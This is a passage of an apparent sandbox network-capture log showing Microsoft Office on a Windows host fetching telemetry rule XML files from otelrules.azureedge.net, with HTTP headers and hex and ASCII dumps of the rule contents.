20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49837	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:12 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:12 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: e0a2f103-c01e-007a-3367-28b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035312Z-15b8d89586flzzksdx5d6q7g10000000011g00000000ga5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:13 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49836	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:12 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:12 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dc27e692-e01e-001f-1e67-281633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035312Z-15b8d89586flspj6y6m5fk442w0000000bwg0000000026et x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:13 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49835	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:12 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:13 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:12 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035312Z-16849878b78tg5n42kspfr0x48000000060g0000000093y6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:13 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49838	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:13 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:13 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:13 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2034bdf9-701e-003e-3056-2679b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035313Z-16849878b78j7llf5vkyvvcehs000000073g000000006u0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:13 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49839	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:13 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:13 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:13 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035313Z-16849878b78qwx7pmw9x5fub1c000000047g000000000p8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:13 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49840	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:13 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:13 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:13 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035313Z-16849878b787wpl5wqkt5731b400000006ng00000000px6h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:13 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49842	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:13 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:13 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:13 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 6768b437-a01e-00ab-174d-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035313Z-16849878b78hh85qc40uyr8sc800000006a00000000060ks x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:13 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49841	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:13 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:13 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:13 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: e665b767-e01e-0085-25b3-29c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035313Z-17c5cb586f66g7mvgrudxte95400000000vg00000000hbcn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:13 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49843	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:13 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:14 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:14 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: fe72e82f-401e-008c-6e5e-2786c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035314Z-17c5cb586f64v7xsc2ahm8gsgw000000010g00000000671u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:14 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49846	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:14 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:14 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:14 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: f3c8e2ed-001e-0049-7afa-285bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035314Z-15b8d89586fxdh48qknu9dqk2g00000009wg00000000dy67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:14 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49845	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:14 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:14 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:14 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035314Z-16849878b78zqkvcwgr6h55x9n00000005bg00000000k0dh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:14 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49847	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:14 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:14 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:14 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: b981dc60-601e-0097-7636-29f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035314Z-15b8d89586f5s5nz3ffrgxn5ac00000006mg00000000cwmd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
